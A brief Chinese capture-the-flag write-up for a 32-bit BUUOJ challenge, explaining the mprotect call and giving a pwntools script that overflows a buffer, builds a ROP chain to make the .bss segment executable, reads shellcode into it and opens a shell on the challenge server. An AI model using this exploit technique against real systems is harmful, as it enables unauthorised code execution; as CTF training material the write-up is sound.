32位程序，主要是mprotect函数的改写权限和rop链的构造
    Linux系统调用号

    关于mprotect函数

    1. int mprotect(void *addr, size_t len, int prot);
    2. addr 内存启始地址
    3. len  修改内存的长度
    4. prot 内存的权限

    内存权限设置
    mprotect函数的第三个参数 (被修改内存的权限) 设置为 7 = 4 + 2 +1 (rwx)
    image.png
    大概流程图
    image.png

    1. from pwn import *
    3. content = 0
    4. context(os='linux', arch='x86', log_level='debug')
    6. elf = ELF('get')
    8. bss_addr = 0x080EB000
    9. read_plt = elf.symbols['read'] 
    10. mprotect = elf.symbols['mprotect']
    12. popx3_ret = 0x0804AF9A
    14. def main():
    15.     if content == 1:
    16.         peiqi = process('get')
    17.     else:
    18.         peiqi = remote('node3.buuoj.cn',27586)
    20.     shellcode = asm(shellcraft.sh())
    22.     payload = b'a' * 0x38
    23.     payload = payload + p32(mprotect) + p32(popx3_ret)
    24.     payload = payload + p32(bss_addr) + p32(0x200) + p32(0x7)
    25.     payload = payload + p32(read_plt) + p32(bss_addr) + p32(0) + p32(bss_addr) + p32(0x200)
    27.     peiqi.sendline(payload)
    28.     peiqi.sendline(shellcode)
    30.     peiqi.interactive()
    32. main()

    image.png